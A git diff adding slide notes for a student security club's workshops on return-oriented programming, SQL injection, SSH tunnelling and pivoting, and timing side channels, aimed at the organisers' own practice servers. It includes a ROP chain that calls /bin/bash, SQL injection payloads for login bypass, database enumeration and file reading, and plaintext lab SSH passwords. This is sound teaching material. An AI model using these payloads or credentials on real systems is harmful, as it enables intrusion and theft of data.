+Download the binaries we’re using here: https://daviscybersec.ddns.net/workshops/bufov_rop.zip
+
+Vulnerable services on twinpeaks.rkevin.dev ports 30054 and 30055.
+
+##### Last time
+
+- We took a look at how buffer overflows could allow us to execute arbitrary code. However, we relied on a function that was already in the binary.
+- This time, we’re taking a look at the case where we don’t have a nicely packaged “target” function. How can we get arbitrary code execution then?
+- Note: If you haven’t followed along the last workshop, please do so before this one! I’m gonna assume you know how to use buffer overflows to take control over the instruction pointer.
+
+- We also explained that “ret” is equivalent to “pop %rip”. This is how we can point the instruction pointer to anywhere we like.
+- But that also means we don’t have to “return” to the start of a function. We can go *anywhere* we like!
+- Before we take a look at return-oriented programming, let’s look at chaining function calls via a buffer overflow!
+- Look at 1_x86_chain, compiled from chain.c. Your goal is to print out “myvalue is now: 1337”, then quit. How would you do that?
+- The vuln part is exactly the same as last time! Let’s try starting there. We know how to call “callmefirst”, so let’s try that!
+
diff --git a/Module_Cybersecurity/Return Oriented Programming/2.md b/Module_Cybersecurity/Return Oriented Programming/2.md
new file mode 100644
index 00000000..77d47b8b
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/2.md
@@ -0,0 +1,247 @@
+# Chaining funtions
+
+
+
+0x41414141(not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x080491b6 (Saved ret addr) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x080491b6 (Saved ret addr) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (new saved ebp) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (new saved ebp) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+ebp
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (new saved ebp) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+ebp
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x080491e7~0x08049201: stuff
+ - 0x08049202: ret
+
+- callmefirst:
+
+- - 0x080491b6: push %ebp
+ - 0x080491b7: mov %esp, %ebp
+ - 0x080491b9: movl $0x539,0x804c034
+ - 0x080491c3: nop
+ - 0x080491c4: pop %ebp
+ - 0x080491c5: ret
+
+- callmesecond:
+
+- - 0x80491c6: push %ebp
+ - ….
+
+| 0xffffd960 | 0x41414141 (start of buf) |
+| ---------- | ---------------------------- |
+| 0xffffd964 | 0x41414141 |
+| 0xffffd968 | 0x41414141 |
+| 0xffffd96c | 0x41414141 |
+| 0xffffd970 | 0x41414141 |
+| 0xffffd974 | 0x41414141 |
+| 0xffffd978 | 0x41414141 (Saved ebp) |
+| 0xffffd97c | 0x41414141 (new saved ebp) |
+| 0xffffd980 | 0x42424242 (Stuff from main) |
+| 0xffffd980 | 0x41414141 (Stuff from main) |
+
+eip
+
+esp
\ No newline at end of file
diff --git a/Module_Cybersecurity/Return Oriented Programming/3.md b/Module_Cybersecurity/Return Oriented Programming/3.md
new file mode 100644
index 00000000..f8989858
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/3.md
@@ -0,0 +1,14 @@
+# Chaining functions
+
+- Notice that after callmefirst has done its job, it does what every function does: look for the “saved return value” on the stack.
+
+- - Can you use this to figure out how to call the three functions one after the other?
+
+- You might have noticed we are sort of “programming” on the stack!
+
+- - You gave instructions to the program to execute some functions in order by modifying return addresses and chaining the “ret”s at the end of the functions together.
+ - This is *almost* return-oriented programming
+
+- However, we had one arbitrary limitation, we tried to jump to beginnings of functions that exist…
+
+- - but what if we can jump to the middle of functions?
\ No newline at end of file
diff --git a/Module_Cybersecurity/Return Oriented Programming/4.md b/Module_Cybersecurity/Return Oriented Programming/4.md
new file mode 100644
index 00000000..a7232266
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/4.md
@@ -0,0 +1,29 @@
+# Return Oriented Programming
+
+Return Oriented Programming
+
+
+
+- Remember last time we solved x86_bufov_args, and I told you it’s not possible in 64-bit?
+
+- - I lied. We’re gonna exploit 2_x64_bufov_args together today! Source code is bufov_args.c
+
+- The main obstacle for us last time was the x64 calling convention, which puts the arguments in registers rather than on the stack.
+
+- - We can’t modify registers just by controlling the stack… unless we redirect code execution to some piece of code that *can* control the registers.
+
+- Remember, our goal is to: put the right argument in %rdi, and run target
+
+- - So, if we can find a “function” to move what we want into %rdi, we’re golden!
+
+ - - Something along the lines of “pop %rdi” would be cool….
+
+- What if I tell you there is a code section that looks like this:
+
+- - 0x401273: pop %rdi
+ - 0x401274: ret
+
+- Does this allow you to put something in %rdi and jump to target?
+
+- - Try it for yourself first before I reveal the solution.
+
diff --git a/Module_Cybersecurity/Return Oriented Programming/5.md b/Module_Cybersecurity/Return Oriented Programming/5.md
new file mode 100644
index 00000000..b06e8c44
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/5.md
@@ -0,0 +1,139 @@
+# Return Oriented Programming
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x4011b3~0x4011d1: stuff
+ - 0x4011d2: ret
+
+- In the middle of some func:
+
+- - 0x401273: pop %rdi
+ - 0x401274: ret
+
+- target:
+
+- - 0x401166: push %rbp
+ - ….
+
+| 0x7ffc2002d800 | 0x4141414141414141 |
+| -------------- | ------------------ |
+| 0x7ffc2002d808 | 0x4141414141414141 |
+| 0x7ffc2002d810 | 0x4141414141414141 |
+| 0x7ffc2002d818 | 0x0000000000401273 |
+| 0x7ffc2002d820 | 0x0000000000402004 |
+| 0x7ffc2002d828 | 0x0000000000401166 |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x4011b3~0x4011d1: stuff
+ - 0x4011d2: ret
+
+- In the middle of some func:
+
+- - 0x401273: pop %rdi
+ - 0x401274: ret
+
+- target:
+
+- - 0x401166: push %rbp
+ - ….
+
+- We successfully set the rdi register!
+
+| 0x7ffc2002d800 | 0x4141414141414141 |
+| -------------- | ------------------ |
+| 0x7ffc2002d808 | 0x4141414141414141 |
+| 0x7ffc2002d810 | 0x4141414141414141 |
+| 0x7ffc2002d818 | 0x0000000000401273 |
+| 0x7ffc2002d820 | 0x0000000000402004 |
+| 0x7ffc2002d828 | 0x0000000000401166 |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x4011b3~0x4011d1: stuff
+ - 0x4011d2: ret
+
+- In the middle of some func:
+
+- - 0x401273: pop %rdi
+ - 0x401274: ret
+
+- target:
+
+- - 0x401166: push %rbp
+ - ….
+
+- rdi=0x402004 (“/bin/bash”)
+
+| 0x7ffc2002d800 | 0x4141414141414141 |
+| -------------- | ------------------ |
+| 0x7ffc2002d808 | 0x4141414141414141 |
+| 0x7ffc2002d810 | 0x4141414141414141 |
+| 0x7ffc2002d818 | 0x0000000000401273 |
+| 0x7ffc2002d820 | 0x0000000000402004 |
+| 0x7ffc2002d828 | 0x0000000000401166 |
+
+eip
+
+esp
+
+
+
+0x41414141 (not an address that actually exists)
+
+ebp
+
+- vuln:
+
+- - 0x4011b3~0x4011d1: stuff
+ - 0x4011d2: ret
+
+- In the middle of some func:
+
+- - 0x401273: pop %rdi
+ - 0x401274: ret
+
+- target:
+
+- - 0x401166: push %rbp
+ - ….
+
+- rdi=0x402004 (“/bin/bash”)
+
+| 0x7ffc2002d800 | 0x4141414141414141 |
+| -------------- | ------------------ |
+| 0x7ffc2002d808 | 0x4141414141414141 |
+| 0x7ffc2002d810 | 0x4141414141414141 |
+| 0x7ffc2002d818 | 0x0000000000401273 |
+| 0x7ffc2002d820 | 0x0000000000402004 |
+| 0x7ffc2002d828 | 0x0000000000401166 |
+
+eip
+
+esp
\ No newline at end of file
diff --git a/Module_Cybersecurity/Return Oriented Programming/6.md b/Module_Cybersecurity/Return Oriented Programming/6.md
new file mode 100644
index 00000000..b38cdb2f
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/6.md
@@ -0,0 +1,16 @@
+# Return Oriented Programming
+
+- By chaining a chunk of code that sets rdi, with a chunk of code that uses it to execute /bin/bash, we have gained code execution!
+
+- - We didn’t limit ourselves and jumped to the *middle* of functions, using snippets of code to do whatever we want to do (in this case, set %rdi).
+ - These snippets of code are called “gadgets”. A gadget is just a snippet of code that ends in “ret”, so you can chain them together.
+
+- The more complex a binary is, the more gadgets there are.
+
+- - In fact, libc (the library that has printf, scanf, fopen and all the functions you know and love) has so many gadgets in it, it is actually turing complete!
+
+- In fact, if you have a binary using libc, you don’t even *need* a target function!
+
+- - system, execve, syscall rop gadget…
+ - This is called a ret2libc attack
+
diff --git a/Module_Cybersecurity/Return Oriented Programming/7.md b/Module_Cybersecurity/Return Oriented Programming/7.md
new file mode 100644
index 00000000..c58f6bae
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/7.md
@@ -0,0 +1,15 @@
+# Finding ROP Gadgets
+
+- Before you go on and do your own exploits, there’s one final thing…
+
+- - I gave you the answer for where the crucial ROP gadget is, but how can you find it yourself?
+
+- There’s a useful tool called (for obvious reasons) “ROPgadget”
+
+- - pip install ropgadget
+
+- You can ask ROPgadget to list stuff of interest by using:
+
+- - ROPgadget --binary executable_to_analyze
+ - Then you can grep for the stuff you might need
+
diff --git a/Module_Cybersecurity/Return Oriented Programming/8.md b/Module_Cybersecurity/Return Oriented Programming/8.md
new file mode 100644
index 00000000..36838a5a
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/8.md
@@ -0,0 +1,29 @@
+# Exploiting a ret2libc Attack
+
+- *Note: This is technically not a ret2libc attack since I linked libc statically to the binary. Close enough.
+
+- Before you tackle a true ret2libc attack that requires a gadget, try 3_x86_ret2libc_static (source file is ret2libc.c)
+
+- - This is a x86 binary with “system” inside. Try to call it with the right arguments!
+
+- Now that you have an exploit working for 32bit, try 4_x64_ret2libc_static! (also compiled from ret2libc.c)
+
+- - Other than adjusting offsets, the biggest thing you need to do is to find a gadget to put your argument in rdi. Good luck!
+
+- Once you have your exploit ready, exploit twinpeaks.rkevin.dev port 30054 and grab the flag!
+
+- If we have time or you want to explore more advanced usages of ret2libc, try 5_x64_ret2libc_harder_static!
+
+- - You don’t have the findme variable anymore, so you’ll have to write your own on the stack, like last time’s 6_x86_bufov_args_harder!
+
+ - - ASLR is disabled. For consistent results, run ./noaslr ./5_x64_ret2libc_harder_static
+
+ - You don’t have the “system” function like before. You’ll have to find some other way to execute /bin/bash.
+
+ - - I used the execve syscall. Hint: Look up how x86_64 syscalls work, and try to issue an execve syscall. For reference, my ropchain had 4 gadgets, not counting setting up some regions of memory.
+
+ - It’s a lot, but if you have time to work through this you will gain a lot of understanding of how ROP and syscalls work! Service is at twinpeaks.rkevin.dev port 30055.
+
+ - - And I might buy you dinner if you get the flag. *might*.
+
+-
\ No newline at end of file
diff --git a/Module_Cybersecurity/Return Oriented Programming/9.md b/Module_Cybersecurity/Return Oriented Programming/9.md
new file mode 100644
index 00000000..7c4bdee7
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/9.md
@@ -0,0 +1,12 @@
+# Summary
+
+- Last week we learned unprotected buffers are BAD. Now they’re WORSE!
+
+- If an attacker finds your stack buffer overflow, they can get remote code execution even if your functions don’t do anything malicious!
+
+- - They can just find enough ROP gadgets to screw you over.
+
+- Protections?
+
+- - Same stuff as last time, ASLR, canaries, etc, but the best protection is still to write better code.
+ - Code like you’re being attacked, because you will be.
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/1.md b/Module_Cybersecurity/SQL injection/1.md
new file mode 100644
index 00000000..ee977f2b
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/1.md
@@ -0,0 +1,55 @@
+# SQL injection
+
+‘ or 1=1; --
+
+##### Setup
+
+Vulnerable services:
+
+https://sqli.rkevin.dev/ (3 flags)
+
+https://bsqli.rkevin.dev/ (1 flag)
+
+Upon initial connection it will lag for ~10secs, this is normal, be patient!
+
+If you want to automate requests, please include the cookies!
+
+##### What is SQL?
+
+- Structured Query Language
+
+- Common language used to talk to a database
+
+- - A lot of databases support the basic SQL syntax, from mysql/mariadb to postgresql to mssql…
+
+- You can SELECT rows from “tables”
+
+- - Each table has rows and columns. If you have a table of students, each row would be a student, and you would have columns like “first_name”, “last_name”, “age”, etc.
+
+ - Syntax: SELECT column1,column2 FROM table;
+
+ - - This returns column1 and column2 from every row available
+
+ - You can also filter the SELECT output
+
+ - - SELECT * FROM users WHERE username=”blah” AND is_admin=1;
+
+- You can also modify the database by using UPDATE and INSERT statements, but we don’t need to use it today.
+
+- Capitalization of commands like SELECT don’t matter.
+
+##### What is SQL injection?
+
+- If you have a database of stuff you want to search through, you might be tempted to write SELECT * FROM table WHERE data=’$query’
+
+- - where $query is the user input
+
+- But what if the user input is not sanitized correctly?
+
+- If $query contains a single quote, we can escape from the “data=” part and do whatever we want!
+
+- If $query is abc’ OR otherstuff=’1
+
+- SELECT * FROM table WHERE data=’abc’ OR otherstuff=’1’
+
+- - Perfectly well-structured command! SQL will happily execute that.
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/2.md b/Module_Cybersecurity/SQL injection/2.md
new file mode 100644
index 00000000..7c42c400
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/2.md
@@ -0,0 +1,18 @@
+# Breaking into a login page
+
+- Vulnerable service: https://sqli.rkevin.dev/
+
+- - Initial page load will take ~10s, be patient!
+
+- This login page, like some other badly written ones, tries to select rows from a database of users that match the username and password. If there are no matches, you can’t login.
+
+- Can you think of a way to break it?
+
+- BTW, something convenient: You can end your query using a semicolon, then using “-- “ to comment out the junk after the statement (like // in C)
+
+- - Note the space after the “-- “! “--” will fail but “-- “ will work
+
+- Hint: The query being executed is
+
+- - SELECT * FROM users WHERE username=’$username’ AND password=’$pass’
+
diff --git a/Module_Cybersecurity/SQL injection/3.md b/Module_Cybersecurity/SQL injection/3.md
new file mode 100644
index 00000000..28744954
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/3.md
@@ -0,0 +1,38 @@
+# Enumerating the database
+
+- We’re in! Also we can see some output from the database. How can we use this to exfiltrate information from the database?
+
+- UNION
+
+- - This is a SQL command that “joins” two SELECT statements and gives back the results
+ - SELECT col1,col2 FROM table1 UNION SELECT col3,col4 FROM table2
+ - Caveat is both SELECT statements must return the same amount of columns
+
+- You can also SELECT “constants”
+
+- - SELECT 1,2,username FROM users
+
+ - - Will return 3 columns, the first two are hardcoded 1 and 2 for all the rows.
+
+- Knowing all this, and if I tell you the usernames and passwords are stored in a table called “users”, can you exfiltrate all the user info?
+
+- We got some usernames and passwords! However, we just guessed the table name and the column names. Who knows what kind of stuff is hidden in the database…
+
+- information_schema
+
+- - This is a special database that contains all the information for all other databases and tables!
+ - If you know the underlying database (MariaDB) you can just Google to see how its structured.
+
+- information_schema.tables
+
+- - Contains info on all tables in the system
+
+ - Two important columns: table_name, table_schema
+
+ - - table_name is (duh) the table name, table_schema is which database the table is in
+
+- information_schema.columns
+
+- - column_name, table_name
+
+ - - You can also use WHERE statements to filter by table_name
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/4.md b/Module_Cybersecurity/SQL injection/4.md
new file mode 100644
index 00000000..5ff14ecf
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/4.md
@@ -0,0 +1,19 @@
+# File inclusion
+
+- We can read any table in the system. Can we read more?
+
+- MariaDB/MySQL has a load_file function
+
+- - Other databases like PostgreSQL have similar functions, even up to RCE
+ - If you’re running a database, MAKE SURE no one can access it! It could mean more than just your database being compromised.
+
+- We can probably dump the PHP code and see how the webapp works!
+
+- - The third and last flag (for this challenge) is waiting for you…
+ - NOTE: The default Apache webpages are served from /var/www/html
+ - NOTE: Ignore the /webchal/lfi part, the files are in places like /var/www/html/index.php
+
+- You can also write to files, although you can’t append or overwrite files
+
+- - Google to see more information!
+ - I’m not sure how to get RCE from this, but if you can figure it out I’d like to know!
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/5.md b/Module_Cybersecurity/SQL injection/5.md
new file mode 100644
index 00000000..4683fea9
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/5.md
@@ -0,0 +1,22 @@
+# Blind SQL injection
+
+- Final challenge! https://bsqli.rkevin.dev
+
+- Sometimes you don’t get to dump all the information nicely like the inventory search tool. Sometimes you don’t get any information at all other than if the query succeeded or not! How do we deal with this then?
+
+- - This is called blind SQL injection
+
+- We can still use many queries and figure out what values are in the table
+
+- - For example, if a table has a row with secret_value=5
+
+ - - SELECT * FROM table WHERE secret_value < 0; will fail
+ - SELECT * FROM table WHERE secret_value > 0; will succeed
+
+- There are also LIKE statements and STRCMP functions to match strings
+
+- - SELECT * FROM table WHERE name LIKE “_abc%”
+
+ - - “_” matches any one character, “%” matches zero or more
+
+ - SELECT * FROM table WHERE STRCMP(name, “abc”)=-1
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/6.md b/Module_Cybersecurity/SQL injection/6.md
new file mode 100644
index 00000000..2a4842e0
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/6.md
@@ -0,0 +1,8 @@
+# Trying blind SQL injection
+
+- It’s best to write a script to do this. I’m using Python and the “requests” module.
+
+- NOTE: Please also send the “beamsplitter_bsqli” cookie along.
+
+- - https://bsqli.rkevin.dev/ starts a new instance of the challenge and sets the cookie
+ - https://twinpeaks.cs.ucdavis.edu/webchal/bsqli/login.php is the actual challenge
\ No newline at end of file
diff --git a/Module_Cybersecurity/SQL injection/7.md b/Module_Cybersecurity/SQL injection/7.md
new file mode 100644
index 00000000..bba1c9d0
--- /dev/null
+++ b/Module_Cybersecurity/SQL injection/7.md
@@ -0,0 +1,16 @@
+# Summary
+
+- SQL is extremely common, and it’s very important to implement it right.
+
+- How can we defend against this?
+
+- - SANITIZE USER INPUT!
+
+ - - This applies not only to SQL, not only to webapp development, but literally everything
+ - When you think about it, all exploits are bad users giving unexpected input :p
+
+ - Prepared statements
+
+ - - There’s a way to tell MySQL to make a “prepared statement”
+ - SELECT * FROM users WHERE username=?
+ - The ? is filled in by MySQL, no injections here no matter what bad characters are there.
\ No newline at end of file
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/1.md b/Module_Cybersecurity/SSH Keys and Tunnels/1.md
new file mode 100644
index 00000000..1fdc3cdc
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/1.md
@@ -0,0 +1,42 @@
+# SSH Keys and Tunnels
+
+How to make SSH easy and move laterally through a network
+
+##### Setup
+
+Mac/Linux/WSL: No setup!
+
+You have SSH already.
+
+Windows: You can install OpenSSH Client as an optional feature in Win10.
+
+Try copying your SSH keys to revshell@daviscybersec.ddns.net
+
+Password: fluidly81Built97allows
+
+SSH into: james@daviscybersec.ddns.net
+
+Password: raze11Plastron70Mounded
+
+Pivot to another machine and access the control panel.
+
+##### Secure SHell
+
+- Most people here should be fairly familiar with what SSH is
+
+- - You probably have used it to access the CSIF before
+
+- Quick refresher:
+
+- - ssh user@machine
+ - Enter your password and you are in!
+
+##### Why SSH keys
+
+- What if you have different SSH servers with different credentials?
+
+- What if you want to login without a password and still have it secure?
+
+- You can create a SSH key pair, put your public key on the SSH server, and you can now login easily!
+
+
\ No newline at end of file
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/2.md b/Module_Cybersecurity/SSH Keys and Tunnels/2.md
new file mode 100644
index 00000000..5ad41aa6
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/2.md
@@ -0,0 +1,53 @@
+# Steps
+
+##### 1) Generating the keys
+
+- ssh-keygen
+
+- - Follow the prompt and generate your keys
+
+ - By default, your public key will be at ~/.ssh/id_rsa.pub and your private key is at ~/.ssh/id_rsa
+
+ - You don’t have to specify a password, and SSHing into other machines won’t require passwords either
+
+ - - Do be careful though, if someone steals your id_rsa, your servers are doomed!
+
+##### 2) Putting it on the server
+
+- We are using the reverse shell user as an example
+
+- - If you have access to the CSIF, I highly recommend trying it there
+
+- ssh-copy-id user@server
+
+- - This creates a ~/.ssh/authorized_keys file on the server and adds your id_rsa.pub file in there
+ - When you login next, your server will do fancy maths to verify you have the private key based on the authorized_keys file
+
+##### 3) Profit
+
+- Try SSHing into the server again. Notice you don’t have to type in the user’s password!
+
+- Just to recap:
+
+- - On your own computer:
+
+ - - id_rsa
+ - id_rsa.pub
+
+ - On the server:
+
+ - - authorized_keys (contains id_rsa.pub)
+
+##### 4) SSH Config files
+
+- Try creating a config file in your computer’s .ssh folder and write the following:
+
+- - Host revshell
+
+ - - HostName daviscybersec.ddns.net
+ - User revshell
+
+- This makes it so you can type “ssh revshell” to SSH in the server.
+
+- Be careful: this is convenient, but someone who sees the file will know you have access to a particular server.
+
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/3.md b/Module_Cybersecurity/SSH Keys and Tunnels/3.md
new file mode 100644
index 00000000..6e05f81c
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/3.md
@@ -0,0 +1,10 @@
+# Cue ridiculous backstory...
+
+- Our agents have identified James Elliott as a member of Redshift, a criminal organization.
+
+- Here are the credentials to his work laptop:
+
+- - james@daviscybersec.ddns.net
+ - Password: raze11Plastron70Mounded
+
+- Try infiltrating their network.
\ No newline at end of file
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/4.md b/Module_Cybersecurity/SSH Keys and Tunnels/4.md
new file mode 100644
index 00000000..9480ddd2
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/4.md
@@ -0,0 +1,10 @@
+# Next steps
+
+- We found an SSH key we can use somewhere…?
+
+- - To use a key: ssh -i id_rsa
+
+- It seems that James have access to a workstation in their corporation, but we cannot reach it from the outside network. We need some way of “tunneling” to their internal network.
+
+- The most common form of SSH tunneling is local port forwarding.
+
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/5.md b/Module_Cybersecurity/SSH Keys and Tunnels/5.md
new file mode 100644
index 00000000..00025a29
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/5.md
@@ -0,0 +1,14 @@
+# Local port forwarding
+
+- To do local port forwarding:
+
+- - ssh -L port:host:hostport user@server
+ - port is a port on your local machine
+ - host:hostport is the destination you are connecting to
+ - For example, -L 1234:10.0.0.1:5678 will make it so that whenever you access port 1234 on your local computer, it would be like the server accessed port 5678 on the computer 10.0.0.1
+ - I admit this is kind of confusing, but the next slide should clear it up.
+
+##### -L 1234:10.0.0.1:5678
+
+
+
diff --git a/Module_Cybersecurity/SSH Keys and Tunnels/6.md b/Module_Cybersecurity/SSH Keys and Tunnels/6.md
new file mode 100644
index 00000000..7d84e05b
--- /dev/null
+++ b/Module_Cybersecurity/SSH Keys and Tunnels/6.md
@@ -0,0 +1,29 @@
+# Accessing the control panel
+
+- We want to access controlpanel.redshift.org:80, how will you do that?
+
+- - -L 8001:controlpanel.redshift.org:80
+
+- Try opening localhost:8001 in your browser. The traffic should be routed correctly
+
+##### Workstation
+
+- It seems like we cannot access the control panel directly. Perhaps we can use the workstation as another pivot point?
+- We can SSH into the workstation using the private keys we got from James’ computer.
+- - - to use a particular key:
+ - ssh -i keyfile
+
+##### Finally accessing the control panel!
+
+- Now comes the real challenge: How would you access the control panel as if you are on the workstation?
+- Hint: You will need two SSH tunnels.
+- Try it for yourself! Syntax reminder: -L port:host:hostport
+
+- Here is a big hint:
+
+ 
+
+- I won’t be giving the solution directly, try to figure it out on your own!
+
+- - But feel free to ask questions!
+
diff --git a/Module_Cybersecurity/Side Channel Attacks/1.md b/Module_Cybersecurity/Side Channel Attacks/1.md
new file mode 100644
index 00000000..3ca23f7a
--- /dev/null
+++ b/Module_Cybersecurity/Side Channel Attacks/1.md
@@ -0,0 +1,51 @@
+# Side Channel Attacks
+
+Writing a time-base side channel exploit
+
+##### Setup
+
+You should have python and pwntools installed, from the “talking to remote servers” workshop.
+
+Any other way of programmatically talking to servers is fine too, but I’m using python and pwntools today. Feel free to show off your exploit if you write it in another language!
+
+Service:
+
+daviscybersec.ddns.net:1339
+
+Source:
+
+https://daviscybersec.ddns.net/workshops/strcmp.py
+
+##### What’s a side channel?
+
+- Anything that is not what you directly get / not what the service intend for you to get
+
+- Timing, power consumption...
+
+- You are looking at side channels in your everyday lives!
+
+- - People’s facial expressions in conversation
+
+##### Examples of cool side-channels
+
+- [https://youtu.be/FfyROX7V0s](https://www.youtube.com/watch?v=bFfyROX7V0s)
+
+Power analysis
+
+
+
+
+
+- Van Eck phreaking (TEMPEST)
+
+
+
+Cache timing attacks
+
+- - Spectre/Meltdown
+
+- - I talked about this in ECS153 if you are interested
+
+ - - https://docs.google.com/presentation/d/1MbQDQBoM52aTCcDX4A64OcKypRunwD3k-wevTLkWEVk/edit?usp=sharing
+ -
+
diff --git a/Module_Cybersecurity/Side Channel Attacks/2.md b/Module_Cybersecurity/Side Channel Attacks/2.md
new file mode 100644
index 00000000..eb9fb568
--- /dev/null
+++ b/Module_Cybersecurity/Side Channel Attacks/2.md
@@ -0,0 +1,9 @@
+# A timing side-channel attack
+
+- Finally, let’s get into it!
+- The source code of the vulnerable server is at: https://daviscybersec.ddns.net/workshops/strcmp.py
+- Try thinking about how you would attack it before we continue
+
+- Despite always printing the same message “Password incorrect!”, the 100 comparisons take a long time to finish
+- 
+
